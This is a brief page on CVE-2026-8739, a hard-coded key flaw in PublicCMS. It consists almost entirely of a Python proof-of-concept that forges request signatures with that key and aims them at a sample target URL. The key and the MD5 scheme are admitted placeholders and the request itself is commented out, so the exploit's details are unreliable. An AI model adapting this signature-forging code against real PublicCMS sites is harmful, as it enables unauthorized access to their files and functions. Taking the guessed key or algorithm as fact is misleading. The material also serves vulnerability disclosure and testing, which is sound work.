CVE-2026-8739: PublicCMS硬编码密钥漏洞

import hashlib # PoC for CVE-2026-8739: Hard-coded Cryptographic Key in PublicCMS # This script demonstrates the usage of the hard-coded key to forge a signature. # The hard-coded key found in SafeConfigComponent.java # (Assuming key for demonstration based on typical scenarios or description) HARDCODED_KEY = "publiccms_default_key_placeholder" def generate_signature(data, key): """ Simulates the signing process using the vulnerable hard-coded key. """ # Concatenate data and key sign_string = data + key # Generate hash (e.g., MD5 or SHA256 depending on implementation) signature = hashlib.md5(sign_string.encode('utf-8')).hexdigest() return signature def exploit(target_url): """ Function to send a request with a forged signature. """ malicious_data = "privatefile_key=attacker_controlled_value" forged_sig = generate_signature(malicious_data, HARDCODED_KEY) print(f"[+] Target: {target_url}") print(f"[+] Hard-coded Key: {HARDCODED_KEY}") print(f"[+] Forged Signature: {forged_sig}") print(f"[!] Sending malicious request with forged signature...") # In a real exploit, an HTTP request would be sent here. # requests.get(target_url, params={'data': malicious_data, 'sign': forged_sig}) if __name__ == "__main__": target = "http://target-publiccms.com/api/verify" exploit(target)